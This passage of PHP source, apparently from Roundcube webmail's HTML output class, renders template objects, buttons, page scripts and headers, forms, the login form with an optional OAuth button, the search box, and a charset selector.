                                else if ($href = $this->config->get('favicon', '/images/favicon.ico')) {
                                    $args[$param] = $href;
                                }
                            }

                            $content .= html::tag($tag, [$key => $name, 'nl' => true] + $args);
                        }
                    }
                }

                // exec plugin hooks for this template object
                $hook = $this->app->plugins->exec_hook("template_object_$object", $attrib + ['content' => (string) $content]);

                if (strlen($hook['content']) && !empty($external)) {
                    $object_id                 = uniqid('TEMPLOBJECT:', true);
                    $this->objects[$object_id] = $hook['content'];
                    $hook['content']           = $object_id;
                }

                return $hook['content'];

            // return <link> element
            case 'link':
                if ($attrib['condition'] && !$this->check_condition($attrib['condition'])) {
                    break;
                }

                unset($attrib['condition']);

                return html::tag('link', $attrib);


            // return code for a specified eval expression
            case 'exp':
                return html::quote($this->eval_expression($attrib['expression']));

            // return variable
            case 'var':
                $var = explode(':', $attrib['name']);
                $value = $this->parse_variable($var[0], $var[1]);

                if (is_array($value)) {
                    $value = implode(', ', $value);
                }

                return html::quote($value);

            case 'form':
                return $this->form_tag($attrib);
        }

        return '';
    }

    /**
     * Prepares template object attributes
     *
     * @param array &$attribs Attributes
     */
    protected function prepare_object_attribs(&$attribs)
    {
        foreach ($attribs as $key => &$value) {
            if (strpos($key, 'data-label-') === 0) {
                // Localize data-label-* attributes
                $value = $this->app->gettext($value);
            }
            elseif ($key[0] == ':') {
                // Evaluate attributes with expressions and remove special character from attribute name
                $attribs[substr($key, 1)] = $this->eval_expression($value);
                unset($attribs[$key]);
            }
        }
    }

    /**
     * Include a specific file and return it's contents
     *
     * @param string $file File path
     *
     * @return string Contents of the processed file
     */
    protected function include_php($file)
    {
        ob_start();
        include $file;
        $out = ob_get_contents();
        ob_end_clean();

        return $out;
    }

    /**
     * Put objects' content back into template output
     */
    protected function postrender($output)
    {
        // insert objects' contents
        foreach ($this->objects as $key => $val) {
            $output = str_replace($key, (string) $val, $output, $count);
            if ($count) {
                $this->objects[$key] = null;
            }
        }

        // make sure all <form> tags have a valid request token
        $output = preg_replace_callback('/<form\s+([^>]+)>/Ui', [$this, 'alter_form_tag'], $output);

        return $output;
    }

    /**
     * Create and register a button
     *
     * @param array $attrib Named button attributes
     *
     * @return string HTML button
     * @todo   Remove all inline JS calls and use jQuery instead.
     * @todo   Remove all sprintf()'s - they are pretty, but also slow.
     */
    public function button($attrib)
    {
        static $s_button_count = 100;

        // these commands can be called directly via url
        $a_static_commands = ['compose', 'list', 'preferences', 'folders', 'identities'];

        if (empty($attrib['command']) && empty($attrib['name']) && empty($attrib['href'])) {
            return '';
        }

        $command = !empty($attrib['command']) ? $attrib['command'] : null;
        $action  = $command ?: (!empty($attrib['name']) ? $attrib['name'] : null);

        if (!empty($attrib['task'])) {
            $command = $attrib['task'] . '.' . $command;
            $element = $attrib['task'] . '.' . $action;
        }
        else {
            $element = (!empty($this->env['task']) ? $this->env['task'] . '.' : '') . $action;
        }

        $disabled_actions = (array) $this->config->get('disabled_actions');

        // remove buttons for disabled actions
        if (in_array($element, $disabled_actions) || in_array($action, $disabled_actions)) {
            return '';
        }

        // try to find out the button type
        if (!empty($attrib['type'])) {
            $attrib['type'] = strtolower($attrib['type']);
            if (strpos($attrib['type'], '-menuitem')) {
                $attrib['type'] = substr($attrib['type'], 0, -9);
                $menuitem = true;
            }
        }
        else if (!empty($attrib['image']) || !empty($attrib['imagepas']) || !empty($attrib['imageact'])) {
            $attrib['type'] = 'image';
        }
        else {
            $attrib['type'] = 'button';
        }

        if (empty($attrib['image'])) {
            if (!empty($attrib['imagepas'])) {
                $attrib['image'] = $attrib['imagepas'];
            }
            else if (!empty($attrib['imageact'])) {
                $attrib['image'] = $attrib['imageact'];
            }
        }

        if (empty($attrib['id'])) {
            // ensure auto generated IDs are unique between main window and content frame
            // Elastic skin duplicates buttons between the two on smaller screens (#7618)
            $prefix       = ($this->framed || !empty($this->env['framed'])) ? 'frm' : '';
            $attrib['id'] = sprintf('rcmbtn%s%d', $prefix, $s_button_count++);
        }

        // get localized text for labels and titles
        $domain = !empty($attrib['domain']) ? $attrib['domain'] : null;
        if (!empty($attrib['title'])) {
            $attrib['title'] = html::quote($this->app->gettext($attrib['title'], $domain));
        }
        if (!empty($attrib['label'])) {
            $attrib['label'] = html::quote($this->app->gettext($attrib['label'], $domain));
        }
        if (!empty($attrib['alt'])) {
            $attrib['alt'] = html::quote($this->app->gettext($attrib['alt'], $domain));
        }

        // set accessibility attributes
        if (empty($attrib['role'])) {
            $attrib['role'] = 'button';
        }

        if (!empty($attrib['class']) && !empty($attrib['classact']) || !empty($attrib['imagepas']) && !empty($attrib['imageact'])) {
            if (array_key_exists('tabindex', $attrib)) {
                $attrib['data-tabindex'] = $attrib['tabindex'];
            }
            $attrib['tabindex']      = '-1';  // disable button by default
            $attrib['aria-disabled'] = 'true';
        }

        // set title to alt attribute for IE browsers
        if ($this->browser->ie && empty($attrib['title']) && !empty($attrib['alt'])) {
            $attrib['title'] = $attrib['alt'];
        }

        // add empty alt attribute for XHTML compatibility
        if (!isset($attrib['alt'])) {
            $attrib['alt'] = '';
        }

        // register button in the system
        if (!empty($attrib['command'])) {
            $this->add_script(sprintf(
                "%s.register_button('%s', '%s', '%s', '%s', '%s', '%s');",
                self::JS_OBJECT_NAME,
                $command,
                $attrib['id'],
                $attrib['type'],
                !empty($attrib['imageact']) ? $this->abs_url($attrib['imageact']) : (!empty($attrib['classact']) ? $attrib['classact'] : ''),
                !empty($attrib['imagesel']) ? $this->abs_url($attrib['imagesel']) : (!empty($attrib['classsel']) ? $attrib['classsel'] : ''),
                !empty($attrib['imageover']) ? $this->abs_url($attrib['imageover']) : ''
            ));

            // make valid href to specific buttons
            if (in_array($attrib['command'], rcmail::$main_tasks)) {
                $attrib['href']    = $this->app->url(['task' => $attrib['command']]);
                $attrib['onclick'] = sprintf("return %s.command('switch-task','%s',this,event)", self::JS_OBJECT_NAME, $attrib['command']);
            }
            else if (!empty($attrib['task']) && in_array($attrib['task'], rcmail::$main_tasks)) {
                $attrib['href'] = $this->app->url(['action' => $attrib['command'], 'task' => $attrib['task']]);
            }
            else if (in_array($attrib['command'], $a_static_commands)) {
                $attrib['href'] = $this->app->url(['action' => $attrib['command']]);
            }
            else if (($attrib['command'] == 'permaurl' || $attrib['command'] == 'extwin') && !empty($this->env['permaurl'])) {
              $attrib['href'] = $this->env['permaurl'];
            }
        }

        // overwrite attributes
        if (empty($attrib['href'])) {
            $attrib['href'] = '#';
        }

        if (!empty($attrib['task'])) {
            if (!empty($attrib['classact'])) {
                $attrib['class'] = $attrib['classact'];
            }
        }
        else if ($command && empty($attrib['onclick'])) {
            $attrib['onclick'] = sprintf(
                "return %s.command('%s','%s',this,event)",
                self::JS_OBJECT_NAME,
                $command,
                !empty($attrib['prop']) ? $attrib['prop'] : ''
            );
        }

        $out         = '';
        $btn_content = null;
        $link_attrib = [];

        // generate image tag
        if ($attrib['type'] == 'image') {
            $attrib_str = html::attrib_string(
                $attrib,
                [
                    'style', 'class', 'id', 'width', 'height', 'border', 'hspace',
                    'vspace', 'align', 'alt', 'tabindex', 'title'
                ]
            );
            $btn_content = sprintf('<img src="%s"%s />', $this->abs_url($attrib['image']), $attrib_str);
            if (!empty($attrib['label'])) {
                $btn_content .= ' '.$attrib['label'];
            }
            $link_attrib = ['href', 'onclick', 'onmouseover', 'onmouseout', 'onmousedown', 'onmouseup', 'target'];
        }
        else if ($attrib['type'] == 'link') {
            $btn_content = $attrib['content'] ?? (!empty($attrib['label']) ? $attrib['label'] : $attrib['command']);
            $link_attrib = array_merge(html::$common_attrib, ['href', 'onclick', 'tabindex', 'target', 'rel']);
            if (!empty($attrib['innerclass'])) {
                $btn_content = html::span($attrib['innerclass'], $btn_content);
            }
        }
        else if ($attrib['type'] == 'input') {
            $attrib['type'] = 'button';

            if (!empty($attrib['label'])) {
                $attrib['value'] = $attrib['label'];
            }
            if (!empty($attrib['command'])) {
                $attrib['disabled'] = 'disabled';
            }

            $out = html::tag('input', $attrib, null, ['type', 'value', 'onclick', 'id', 'class', 'style', 'tabindex', 'disabled']);
        }
        else {
            if (!empty($attrib['label'])) {
                $attrib['value'] = $attrib['label'];
            }
            if (!empty($attrib['command'])) {
                $attrib['disabled'] = 'disabled';
            }

            $content = $attrib['content'] ?? $attrib['label'];
            $out = html::tag('button', $attrib, $content, ['type', 'value', 'onclick', 'id', 'class', 'style', 'tabindex', 'disabled']);
        }

        // generate html code for button
        if ($btn_content) {
            $attrib_str = html::attrib_string($attrib, $link_attrib);
            $out = sprintf('<a%s>%s</a>', $attrib_str, $btn_content);
        }

        if (!empty($attrib['wrapper'])) {
            $out = html::tag($attrib['wrapper'], null, $out);
        }

        if (!empty($menuitem)) {
            $class = !empty($attrib['menuitem-class']) ? ' class="' . $attrib['menuitem-class'] . '"' : '';
            $out   = '<li role="menuitem"' . $class . '>' . $out . '</li>';
        }

        return $out;
    }

    /**
     * Link an external script file
     *
     * @param string $file     File URL
     * @param string $position Target position [head|head_bottom|foot]
     */
    public function include_script($file, $position = 'head', $add_path = true)
    {
        if ($add_path && !preg_match('|^https?://|i', $file) && $file[0] != '/') {
            $file = $this->file_mod($this->scripts_path . $file);
        }

        if (!isset($this->script_files[$position]) || !is_array($this->script_files[$position])) {
            $this->script_files[$position] = [];
        }

        if (!in_array($file, $this->script_files[$position])) {
            $this->script_files[$position][] = $file;
        }
    }

    /**
     * Add inline javascript code
     *
     * @param string $script   JS code snippet
     * @param string $position Target position [head|head_top|foot|docready]
     */
    public function add_script($script, $position = 'head')
    {
        if (!isset($this->scripts[$position])) {
            $this->scripts[$position] = rtrim($script);
        }
        else {
            $this->scripts[$position] .= "\n" . rtrim($script);
        }
    }

    /**
     * Link an external css file
     *
     * @param string $file File URL
     */
    public function include_css($file)
    {
        $this->css_files[] = $file;
    }

    /**
     * Add HTML code to the page header
     *
     * @param string $str HTML code
     */
    public function add_header($str)
    {
        $this->header .= "\n" . $str;
    }

    /**
     * Add HTML code to the page footer
     * To be added right before </body>
     *
     * @param string $str HTML code
     */
    public function add_footer($str)
    {
        $this->footer .= "\n" . $str;
    }

    /**
     * Process template and write to stdOut
     *
     * @param string $output HTML output
     */
    protected function _write($output = '')
    {
        $output = trim($output);

        if (empty($output)) {
            $output   = html::doctype('html5') . "\n" . $this->default_template;
            $is_empty = true;
        }

        $merge_script_files = function($output, $script) {
            return $output . html::script($script);
        };

        $merge_scripts = function($output, $script) {
            return $output . html::script([], $script);
        };

        // put docready commands into page footer
        if (!empty($this->scripts['docready'])) {
            $this->add_script("\$(function() {\n" . $this->scripts['docready'] . "\n});", 'foot');
        }

        $page_header = '';
        $page_footer = '';
        $meta        = '';

        // declare page language
        if (!empty($_SESSION['language'])) {
            $lang   = substr($_SESSION['language'], 0, 2);
            $output = preg_replace('/<html/', '<html lang="' . html::quote($lang) . '"', $output, 1);

            if (!headers_sent()) {
                $this->header('Content-Language: ' . $lang);
            }
        }

        // include meta tag with charset
        if (!empty($this->charset)) {
            if (!headers_sent()) {
                $this->header('Content-Type: text/html; charset=' . $this->charset);
            }

            $meta .= html::tag('meta', [
                    'http-equiv' => 'content-type',
                    'content'    => "text/html; charset={$this->charset}",
                    'nl'         => true
            ]);
        }

        // include page title (after charset specification)
        $meta .= '<title>' . html::quote($this->get_pagetitle()) . "</title>\n";

        $output = preg_replace('/(<head[^>]*>)\n*/i', "\\1\n{$meta}", $output, 1, $count);
        if (!$count) {
            $page_header .= $meta;
        }

        // include scripts into header/footer
        if (!empty($this->script_files['head'])) {
            $page_header .= array_reduce((array) $this->script_files['head'], $merge_script_files);
        }

        $head  = $this->scripts['head_top'] ?? '';
        $head .= $this->scripts['head'] ?? '';

        $page_header .= array_reduce((array) $head, $merge_scripts);
        $page_header .= $this->header . "\n";

        if (!empty($this->script_files['head_bottom'])) {
            $page_header .= array_reduce((array) $this->script_files['head_bottom'], $merge_script_files);
        }

        if (!empty($this->script_files['foot'])) {
            $page_footer .= array_reduce((array) $this->script_files['foot'], $merge_script_files);
        }

        $page_footer .= $this->footer . "\n";

        if (!empty($this->scripts['foot'])) {
            $page_footer .= array_reduce((array) $this->scripts['foot'], $merge_scripts);
        }

        // find page header
        if ($hpos = stripos($output, '</head>')) {
            $page_header .= "\n";
        }
        else {
            if (!is_numeric($hpos)) {
                $hpos = stripos($output, '<body');
            }
            if (!is_numeric($hpos) && ($hpos = stripos($output, '<html'))) {
                while ($output[$hpos] != '>') {
                    $hpos++;
                }
                $hpos++;
            }
            $page_header = "<head>\n$page_header\n</head>\n";
        }

        // add page header
        if ($hpos) {
            $output = substr_replace($output, $page_header, $hpos, 0);
        }
        else {
            $output = $page_header . $output;
        }

        // add page footer
        if (($fpos = strripos($output, '</body>')) || ($fpos = strripos($output, '</html>'))) {
            // for Elastic: put footer content before "footer scripts"
            while (($npos = strripos($output, "\n", -strlen($output) + $fpos - 1))
                && $npos != $fpos
                && ($chunk = substr($output, $npos, $fpos - $npos)) !== ''
                && (trim($chunk) === '' || preg_match('/\s*<script[^>]+><\/script>\s*/', $chunk))
            ) {
                $fpos = $npos;
            }

            $output = substr_replace($output, $page_footer."\n", $fpos, 0);
        }
        else {
            $output .= "\n".$page_footer;
        }

        // add css files in head, before scripts, for speed up with parallel downloads
        if (!empty($this->css_files) && empty($is_empty)
            && (($pos = stripos($output, '<script ')) || ($pos = stripos($output, '</head>')))
        ) {
            $css = '';
            foreach ($this->css_files as $file) {
                $is_less = substr_compare($file, '.less', -5, 5, true) === 0;
                $css    .= html::tag('link', [
                        'rel'  => $is_less ? 'stylesheet/less' : 'stylesheet',
                        'type' => 'text/css',
                        'href' => $file,
                        'nl'   => true,
                ]);
            }
            $output = substr_replace($output, $css, $pos, 0);
        }

        $output = $this->parse_with_globals($this->fix_paths($output));

        if ($this->assets_path) {
            $output = $this->fix_assets_paths($output);
        }

        $output = $this->postrender($output);

        // trigger hook with final HTML content to be sent
        $hook = $this->app->plugins->exec_hook("send_page", ['content' => $output]);
        if (!$hook['abort']) {
            if ($this->charset != RCUBE_CHARSET) {
                echo rcube_charset::convert($hook['content'], RCUBE_CHARSET, $this->charset);
            }
            else {
                echo $hook['content'];
            }
        }
    }

    /**
     * Returns iframe object, registers some related env variables
     *
     * @param array $attrib          HTML attributes
     * @param bool  $is_contentframe Register this iframe as the 'contentframe' gui object
     *
     * @return string IFRAME element
     */
    public function frame($attrib, $is_contentframe = false)
    {
        static $idcount = 0;

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmframe' . ++$idcount;
        }

        $attrib['name'] = $attrib['id'];
        $attrib['src']  = !empty($attrib['src']) ? $this->abs_url($attrib['src'], true) : 'javascript:false;';

        // register as 'contentframe' object
        if ($is_contentframe || !empty($attrib['contentframe'])) {
            $this->set_env('contentframe', !empty($attrib['contentframe']) ? $attrib['contentframe'] : $attrib['name']);
        }

        return html::iframe($attrib);
    }


    /*  ************* common functions delivering gui objects **************  */

    /**
     * Create a form tag with the necessary hidden fields
     *
     * @param array  $attrib  Named tag parameters
     * @param string $content HTML content of the form
     *
     * @return string HTML code for the form
     */
    public function form_tag($attrib, $content = null)
    {
        $hidden = '';

        if (!empty($this->env['extwin'])) {
            $hiddenfield = new html_hiddenfield(['name' => '_extwin', 'value' => '1']);
            $hidden = $hiddenfield->show();
        }
        else if ($this->framed || !empty($this->env['framed'])) {
            $hiddenfield = new html_hiddenfield(['name' => '_framed', 'value' => '1']);
            $hidden = $hiddenfield->show();
        }

        if (!$content) {
            $attrib['noclose'] = true;
        }

        return html::tag('form',
            $attrib + ['action' => $this->app->comm_path, 'method' => 'get'],
            $hidden . $content,
            ['id', 'class', 'style', 'name', 'method', 'action', 'enctype', 'onsubmit']
        );
    }

    /**
     * Build a form tag with a unique request token
     *
     * @param array  $attrib  Named tag parameters including 'action' and 'task' values
     *                        which will be put into hidden fields
     * @param string $content Form content
     *
     * @return string HTML code for the form
     */
    public function request_form($attrib, $content = '')
    {
        $hidden = new html_hiddenfield();

        if (!empty($attrib['task'])) {
            $hidden->add(['name' => '_task', 'value' => $attrib['task']]);
        }

        if (!empty($attrib['action'])) {
            $hidden->add(['name' => '_action', 'value' => $attrib['action']]);
        }

        // we already have a <form> tag
        if (!empty($attrib['form'])) {
            if ($this->framed || !empty($this->env['framed'])) {
                $hidden->add(['name' => '_framed', 'value' => '1']);
            }

            return $hidden->show() . $content;
        }

        unset($attrib['task'], $attrib['request']);
        $attrib['action'] = './';

        return $this->form_tag($attrib, $hidden->show() . $content);
    }

    /**
     * GUI object 'username'
     * Showing IMAP username of the current session
     *
     * @param array $attrib Named tag parameters (currently not used)
     *
     * @return string HTML code for the gui object
     */
    public function current_username($attrib)
    {
        static $username;

        // already fetched
        if (!empty($username)) {
            return $username;
        }

        // Current username is an e-mail address
        if (isset($_SESSION['username']) && strpos($_SESSION['username'], '@')) {
            $username = $_SESSION['username'];
        }
        // get e-mail address from default identity
        else if ($sql_arr = $this->app->user->get_identity()) {
            $username = $sql_arr['email'];
        }
        else {
            $username = $this->app->user->get_username();
        }

        $username = rcube_utils::idn_to_utf8($username);

        return html::quote($username);
    }

    /**
     * GUI object 'loginform'
     * Returns code for the webmail login form
     *
     * @param array $attrib Named parameters
     *
     * @return string HTML code for the gui object
     */
    protected function login_form($attrib)
    {
        $default_host     = $this->config->get('imap_host');
        $autocomplete     = (int) $this->config->get('login_autocomplete');
        $username_filter  = $this->config->get('login_username_filter');
        $_SESSION['temp'] = true;

        // save original url
        $url = rcube_utils::get_input_string('_url', rcube_utils::INPUT_POST);
        if (
            empty($url)
            && !empty($_SERVER['QUERY_STRING'])
            && !preg_match('/_(task|action)=logout/', $_SERVER['QUERY_STRING'])
        ) {
            $url = $_SERVER['QUERY_STRING'];
        }

        // Disable autocapitalization on iPad/iPhone (#1488609)
        $attrib['autocapitalize'] = 'off';

        $form_name = !empty($attrib['form']) ? $attrib['form'] : 'form';

        // set autocomplete attribute
        $user_attrib = $autocomplete > 0 ? [] : ['autocomplete' => 'off'];
        $host_attrib = $autocomplete > 0 ? [] : ['autocomplete' => 'off'];
        $pass_attrib = $autocomplete > 1 ? [] : ['autocomplete' => 'off'];

        if ($username_filter && strtolower($username_filter) == 'email') {
            $user_attrib['type'] = 'email';
        }

        $input_task   = new html_hiddenfield(['name' => '_task', 'value' => 'login']);
        $input_action = new html_hiddenfield(['name' => '_action', 'value' => 'login']);
        $input_tzone  = new html_hiddenfield(['name' => '_timezone', 'id' => 'rcmlogintz', 'value' => '_default_']);
        $input_url    = new html_hiddenfield(['name' => '_url', 'id' => 'rcmloginurl', 'value' => $url]);
        $input_user   = new html_inputfield(['name' => '_user', 'id' => 'rcmloginuser', 'required' => 'required']
            + $attrib + $user_attrib);
        $input_pass   = new html_passwordfield(['name' => '_pass', 'id' => 'rcmloginpwd', 'required' => 'required']
            + $attrib + $pass_attrib);
        $input_host   = null;

        $form_content = [
            'hidden' => [
                'task'   => $input_task->show(),
                'action' => $input_action->show(),
                'tzone'  => $input_tzone->show(),
                'url'    => $input_url->show(),
            ],
            'inputs' => [
                'user' => [
                    'title'   => html::label('rcmloginuser', html::quote($this->app->gettext('username'))),
                    'content' => $input_user->show(rcube_utils::get_input_string('_user', rcube_utils::INPUT_GPC))
                ],
                'password' => [
                    'title'   => html::label('rcmloginpwd', html::quote($this->app->gettext('password'))),
                    'content' => $input_pass->show()
                ],
            ],
            'buttons' => []
        ];

        if (is_array($default_host) && count($default_host) > 1) {
            $input_host = new html_select(['name' => '_host', 'id' => 'rcmloginhost', 'class' => 'custom-select']);

            foreach ($default_host as $key => $value) {
                if (!is_array($value)) {
                    $input_host->add($value, (is_numeric($key) ? $value : $key));
                }
                else {
                    $input_host = null;
                    break;
                }
            }
        }
        else if (is_array($default_host) && ($host = key($default_host)) !== null) {
            $val = is_numeric($host) ? $default_host[$host] : $host;
            $input_host = new html_hiddenfield(['name' => '_host', 'id' => 'rcmloginhost', 'value' => $val] + $attrib);

            $form_content['hidden']['host'] = $input_host->show();
            $input_host = null;
        }
        else if (empty($default_host)) {
            $input_host = new html_inputfield(['name' => '_host', 'id' => 'rcmloginhost', 'class' => 'form-control']
                + $attrib + $host_attrib);
        }

        // add host selection row
        if (is_object($input_host)) {
            $form_content['inputs']['host'] = [
                'title'   => html::label('rcmloginhost', html::quote($this->app->gettext('server'))),
                'content' => $input_host->show(rcube_utils::get_input_string('_host', rcube_utils::INPUT_GPC))
            ];
        }

        if (rcube_utils::get_boolean($attrib['submit'])) {
            $button_attr = ['type' => 'submit', 'id' => 'rcmloginsubmit', 'class' => 'button mainaction submit'];
            $button      = html::tag('button', $button_attr, $this->app->gettext('login'));

            $form_content['buttons']['submit'] = ['outterclass' => 'formbuttons', 'content' => $button];
        }

        // add oauth login button
        if ($this->config->get('oauth_auth_uri') && $this->config->get('oauth_provider')) {
            // hide login form fields when `oauth_login_redirect` is configured
            if ($this->config->get('oauth_login_redirect')) {
                $form_content['hidden']  = [];
                $form_content['inputs']  = [];
                $form_content['buttons'] = [];
            }

            $link_attr = [
                'href'  => $this->app->url(['action' => 'oauth']),
                'id'    => 'rcmloginoauth',
                'class' => 'button oauth ' . $this->config->get('oauth_provider')
            ];

            $provider = $this->config->get('oauth_provider_name', 'OAuth');
            $button   = html::a($link_attr, $this->app->gettext(['name' => 'oauthlogin', 'vars' => ['provider' => $provider]]));

            $form_content['buttons']['oauthlogin'] = ['outterclass' => 'oauthlogin', 'content' => $button];
        }

        $data = $this->app->plugins->exec_hook('loginform_content', $form_content);

        $this->add_gui_object('loginform', $form_name);

        // output login form contents
        $out = implode('', $data['hidden']);

        if (count($data['inputs']) > 0) {
            // create HTML table with two cols
            $table = new html_table(['cols' => 2]);

            foreach ($data['inputs'] as $input) {
                if (isset($input['title'])) {
                    $table->add('title', $input['title']);
                    $table->add('input', $input['content']);
                }
                else {
                    $table->add(['colspan' => 2, 'class' => 'input'], $input['content']);
                }
            }

            $out .= $table->show();
        }

        foreach ($data['buttons'] as $button) {
            $out .= html::p($button['outterclass'], $button['content']);
        }

        // surround html output with a form tag
        if (empty($attrib['form'])) {
            $out = $this->form_tag(['name' => $form_name, 'method' => 'post'], $out);
        }

        // include script for timezone detection
        $this->include_script('jstz.min.js');

        return $out;
    }

    /**
     * GUI object 'preloader'
     * Loads javascript code for images preloading
     *
     * @param array $attrib Named parameters
     * @return void
     */
    protected function preloader($attrib)
    {
        $images = preg_split('/[\s\t\n,]+/', $attrib['images'], -1, PREG_SPLIT_NO_EMPTY);
        $images = array_map([$this, 'abs_url'], $images);
        $images = array_map([$this, 'asset_url'], $images);

        if (empty($images) || (isset($_REQUEST['_task']) && $_REQUEST['_task'] == 'logout')) {
            return;
        }

        $this->add_script('var images = ' . self::json_serialize($images, $this->devel_mode) .';
            for (var i=0; i<images.length; i++) {
                img = new Image();
                img.src = images[i];
            }', 'docready');
    }

    /**
     * GUI object 'searchform'
     * Returns code for search function
     *
     * @param array $attrib Named parameters
     *
     * @return string HTML code for the gui object
     */
    public function search_form($attrib)
    {
        // add some labels to client
        $this->add_label('searching');

        $attrib['name']  = '_q';
        $attrib['class'] = trim((!empty($attrib['class']) ? $attrib['class'] : '') . ' no-bs');

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmqsearchbox';
        }
        if (isset($attrib['type']) && $attrib['type'] == 'search' && !$this->browser->khtml) {
            unset($attrib['type'], $attrib['results']);
        }
        if (empty($attrib['placeholder'])) {
            $attrib['placeholder'] = $this->app->gettext('searchplaceholder');
        }

        $label   = html::label(['for' => $attrib['id'], 'class' => 'voice'], rcube::Q($this->app->gettext('arialabelsearchterms')));
        $input_q = new html_inputfield($attrib);
        $out     = $label . $input_q->show();
        $name    = 'qsearchbox';

        // Support for multiple searchforms on the same page
        if (isset($attrib['gui-object']) && $attrib['gui-object'] !== false && $attrib['gui-object'] !== 'false') {
            $name = $attrib['gui-object'];
        }

        $this->add_gui_object($name, $attrib['id']);

        // add form tag around text field
        if (empty($attrib['form']) && empty($attrib['no-form'])) {
            $out = $this->form_tag([
                    'name'     => !empty($attrib['form-name']) ? $attrib['form-name'] : 'rcmqsearchform',
                    'onsubmit' => sprintf(
                        "%s.command('%s'); return false",
                        self::JS_OBJECT_NAME,
                        !empty($attrib['command']) ? $attrib['command'] : 'search'
                    ),
                    // 'style'    => "display:inline"
                ], $out);
        }

        if (!empty($attrib['wrapper'])) {
            $options_button = '';

            $ariatag = !empty($attrib['ariatag']) ? $attrib['ariatag'] : 'h2';
            $domain  = !empty($attrib['label-domain']) ? $attrib['label-domain'] : null;
            $options = !empty($attrib['options']) ? $attrib['options'] : null;

            $header_label = $this->app->gettext('arialabel' . $attrib['label'], $domain);
            $header_attrs = [
                'id'    => 'aria-label-' . $attrib['label'],
                'class' => 'voice'
            ];

            $header = html::tag($ariatag, $header_attrs, rcube::Q($header_label));

            if (!empty($attrib['options'])) {
                $options_button = $this->button([
                        'type'       => 'link',
                        'href'       => '#search-filter',
                        'class'      => 'button options',
                        'label'      => 'options',
                        'title'      => 'options',
                        'tabindex'   => '0',
                        'innerclass' => 'inner',
                        'data-target' => $options
                ]);
            }

            $search_button = $this->button([
                    'type'       => 'link',
                    'href'       => '#search',
                    'class'      => 'button search',
                    'label'      => $attrib['buttontitle'],
                    'title'      => $attrib['buttontitle'],
                    'tabindex'   => '0',
                    'innerclass' => 'inner',
            ]);

            $reset_button = $this->button([
                    'type'       => 'link',
                    'command'    => !empty($attrib['reset-command']) ? $attrib['reset-command'] : 'reset-search',
                    'class'      => 'button reset',
                    'label'      => 'resetsearch',
                    'title'      => 'resetsearch',
                    'tabindex'   => '0',
                    'innerclass' => 'inner',
            ]);

            $out = html::div([
                    'role'            => 'search',
                    'aria-labelledby' => !empty($attrib['label']) ? 'aria-label-' . $attrib['label'] : null,
                    'class'           => $attrib['wrapper'],
                ],
                "$header$out\n$reset_button\n$options_button\n$search_button"
            );
        }

        return $out;
    }

    /**
     * Builder for GUI object 'message'
     *
     * @param array $attrib Named tag parameters
     * @return string HTML code for the gui object
     */
    protected function message_container($attrib)
    {
        if (isset($attrib['id']) === false) {
            $attrib['id'] = 'rcmMessageContainer';
        }

        $this->add_gui_object('message', $attrib['id']);

        return html::div($attrib, '');
    }

    /**
     * GUI object 'charsetselector'
     *
     * @param array $attrib Named parameters for the select tag
     *
     * @return string HTML code for the gui object
     */
    public function charset_selector($attrib)
    {
        // pass the following attributes to the form class
        $field_attrib = ['name' => '_charset'];
        foreach ($attrib as $attr => $value) {
            if (in_array($attr, ['id', 'name', 'class', 'style', 'size', 'tabindex'])) {
                $field_attrib[$attr] = $value;
            }
        }

        $charsets = [
            'UTF-8'        => 'UTF-8 ('.$this->app->gettext('unicode').')',
            'US-ASCII'     => 'ASCII ('.$this->app->gettext('english').')',
            'ISO-8859-1'   => 'ISO-8859-1 ('.$this->app->gettext('westerneuropean').')',
            'ISO-8859-2'   => 'ISO-8859-2 ('.$this->app->gettext('easterneuropean').')',
            'ISO-8859-4'   => 'ISO-8859-4 ('.$this->app->gettext('baltic').')',
            'ISO-8859-5'   => 'ISO-8859-5 ('.$this->app->gettext('cyrillic').')',
            'ISO-8859-6'   => 'ISO-8859-6 ('.$this->app->gettext('arabic').')',
            'ISO-8859-7'   => 'ISO-8859-7 ('.$this->app->gettext('greek').')',
            'ISO-8859-8'   => 'ISO-8859-8 ('.$this->app->gettext('hebrew').')',
            'ISO-8859-9'   => 'ISO-8859-9 ('.$this->app->gettext('turkish').')',
            'ISO-8859-10'  => 'ISO-8859-10 ('.$this->app->gettext('nordic').')',
            'ISO-8859-11'  => 'ISO-8859-11 ('.$this->app->gettext('thai').')',
            'ISO-8859-13'  => 'ISO-8859-13 ('.$this->app->gettext('baltic').')',
            'ISO-8859-14'  => 'ISO-8859-14 ('.$this->app->gettext('celtic').')',
            'ISO-8859-15'  => 'ISO-8859-15 ('.$this->app->gettext('westerneuropean').')',
            'ISO-8859-16'  => 'ISO-8859-16 ('.$this->app->gettext('southeasterneuropean').')',
            'WINDOWS-1250' => 'Windows-1250 ('.$this->app->gettext('easterneuropean').')',
            'WINDOWS-1251' => 'Windows-1251 ('.$this->app->gettext('cyrillic').')',
            'WINDOWS-1252' => 'Windows-1252 ('.$this->app->gettext('westerneuropean').')',
            'WINDOWS-1253' => 'Windows-1253 ('.$this->app->gettext('greek').')',
            'WINDOWS-1254' => 'Windows-1254 ('.$this->app->gettext('turkish').')',
            'WINDOWS-1255' => 'Windows-1255 ('.$this->app->gettext('hebrew').')',
            'WINDOWS-1256' => 'Windows-1256 ('.$this->app->gettext('arabic').')',
            'WINDOWS-1257' => 'Windows-1257 ('.$this->app->gettext('baltic').')',
            'WINDOWS-1258' => 'Windows-1258 ('.$this->app->gettext('vietnamese').')',
            'ISO-2022-JP'  => 'ISO-2022-JP ('.$this->app->gettext('japanese').')',
            'ISO-2022-KR'  => 'ISO-2022-KR ('.$this->app->gettext('korean').')',
            'ISO-2022-CN'  => 'ISO-2022-CN ('.$this->app->gettext('chinese').')',
            'EUC-JP'       => 'EUC-JP ('.$this->app->gettext('japanese').')',
            'EUC-KR'       => 'EUC-KR ('.$this->app->gettext('korean').')',
            'EUC-CN'       => 'EUC-CN ('.$this->app->gettext('chinese').')',
            'BIG5'         => 'BIG5 ('.$this->app->gettext('chinese').')',
            'GB2312'       => 'GB2312 ('.$this->app->gettext('chinese').')',
            'KOI8-R'       => 'KOI8-R ('.$this->app->gettext('cyrillic').')',
        ];

        if ($post = rcube_utils::get_input_string('_charset', rcube_utils::INPUT_POST)) {
            $set = $post;
        }
        else if (!empty($attrib['selected'])) {
            $set = $attrib['selected'];
        }
        else {
            $set = $this->get_charset();
        }

        $set = strtoupper($set);
        if (!isset($charsets[$set]) && preg_match('/^[A-Z0-9-]+$/', $set)) {
